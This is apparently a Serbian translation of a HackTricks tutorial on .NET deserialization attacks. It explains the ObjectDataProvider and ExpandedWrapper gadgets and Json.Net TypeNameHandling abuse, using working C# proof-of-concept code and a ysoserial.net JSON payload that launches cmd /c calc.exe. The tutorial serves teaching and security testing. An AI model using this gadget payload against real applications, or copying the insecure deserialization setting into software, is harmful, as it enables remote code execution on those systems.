Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Ovaj post je posvećen razumevanju kako se gadget ObjectDataProvider eksploatiše radi dobijanja RCE-a i kako se biblioteke za serijalizaciju Json.Net i xmlSerializer mogu zloupotrebiti sa tim gadgetom.

Gadget ObjectDataProvider

Iz dokumentacije: klasa ObjectDataProvider omotava i kreira objekat koji možete koristiti kao izvor povezivanja. Da, to je čudno objašnjenje, pa da vidimo šta ova klasa ima što je tako interesantno: Ova klasa omogućava da omotate proizvoljni objekat, koristite MethodParameters da postavite proizvolne parametre, a zatim koristite MethodName da pozovete proizvoljnu funkciju proizvoljnog objekta deklarisanog koristeći proizvolne parametre. Stoga, proizvoljni objekat će izvršiti funkciju sa parametrima dok se deserijalizuje.

Kako je ovo moguće

Prostor imena System.Windows.Data, koji se nalazi unutar PresentationFramework.dll na C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF, je gde je definisan i implementiran ObjectDataProvider.

Korišćenjem dnSpy možete pregledati kod klase koja nas zanima. Na slici ispod vidimo kod PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> Naziv metode

Kao što možete primetiti, kada se postavi MethodName poziva se base.Refresh(), hajde da vidimo šta ona radi:

Ok, nastavimo da vidimo šta radi this.BeginQuery(). BeginQuery je preklopljen od strane ObjectDataProvider i ovo je šta on radi:

Primetite da na kraju koda poziva this.QueryWorke(null). Hajde da vidimo šta ta funkcija izvršava:

Primetite da ovo nije kompletan kod funkcije QueryWorker ali pokazuje interesantan deo: Kod poziva this.InvokeMethodOnInstance(out ex); ovo je linija gde se poziva postavljena metoda.

Ako želite da proverite da li će se izvršiti samo postavljanjem MethodName**, možete pokrenuti ovaj kod:

using System.Windows.Data;
using System.Diagnostics;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ObjectDataProvider myODP = new ObjectDataProvider();
myODP.ObjectType = typeof(Process);
myODP.MethodParameters.Add("cmd.exe");
myODP.MethodParameters.Add("/c calc.exe");
myODP.MethodName = "Start";
}
}
}

Napomena da morate dodati kao referencu C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll kako biste učitali System.Windows.Data

ExpandedWrapper

Korišćenjem prethodnog eksploata postojiće slučajevi kada će se objekat deserijalizovati kao instanca ObjectDataProvider (na primer u DotNetNuke ranjivosti, korišćenjem XmlSerializer-a, objekat je deserijalizovan korišćenjem GetType). Tada, nećemo imati znanje o tipu objekta koji je zapakovan u instanci ObjectDataProvider (Process na primer). Više informacija o DotNetNuke ranjivosti možete pronaći ovde.

Ova klasa omogućava da se specifikuju tipovi objekata koji su zapakovani u datoj instanci. Dakle, ova klasa može biti korišćena da zapakuje izvorni objekat (ObjectDataProvider) u novi tip objekta i obezbedi potrebne osobine (ObjectDataProvider.MethodName i ObjectDataProvider.MethodParameters). Ovo je veoma korisno za slučajeve kao što je prethodno prikazani, jer ćemo biti u mogućnosti da zapakujemo _ObjectDataProvider** unutar **ExpandedWrapper _ instance i prilikom deserijalizacije ova klasa će kreirati objekat OjectDataProvider koji će izvršiti funkciju naznačenu u MethodName.

Možete proveriti ovaj omotač pomoću sledećeg koda:

using System.Windows.Data;
using System.Diagnostics;
using System.Data.Services.Internal;

namespace ODPCustomSerialExample
{
class Program
{
static void Main(string[] args)
{
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
myExpWrap.ProjectedProperty0.MethodName = "Start";
}
}
}

Json.Net

Na zvaničnoj web stranici naznačeno je da ova biblioteka omogućava Serijalizaciju i deserijalizaciju bilo kog .NET objekta pomoću snažnog JSON serializer-a Json.NET. Dakle, ako bismo mogli deserijalizovati ObjectDataProvider gedžet, mogli bismo izazvati RCE samo deserijalizovanjem objekta.

Primer Json.Net

Prvo da vidimo primer kako serijalizovati/deserijalizovati objekat koristeći ovu biblioteku:

using System;
using Newtonsoft.Json;
using System.Diagnostics;
using System.Collections.Generic;

namespace DeserializationTests
{
public class Account
{
public string Email { get; set; }
public bool Active { get; set; }
public DateTime CreatedDate { get; set; }
public IList<string> Roles { get; set; }
}
class Program
{
static void Main(string[] args)
{
Account account = new Account
{
Email = "james@example.com",
Active = true,
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
Roles = new List<string>
{
"User",
"Admin"
}
};
//Serialize the object and print it
string json = JsonConvert.SerializeObject(account);
Console.WriteLine(json);
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}

//Deserialize it
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
Console.WriteLine(desaccount.Email);
}
}
}

Zloupotreba Json.Net

Koristeći ysoserial.net kreirao sam eksploit:

ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}

U ovom kodu možete testirati eksploit, jednostavno ga pokrenite i videćete da je kalkulator izvršen:

using System;
using System.Text;
using Newtonsoft.Json;

namespace DeserializationTests
{
class Program
{
static void Main(string[] args)
{
//Declare exploit
string userdata = @"{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd', '/c calc.exe']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
//Exploit to base64
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));

//Get data from base64
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
//Deserialize data
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
}
}
}
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Last updated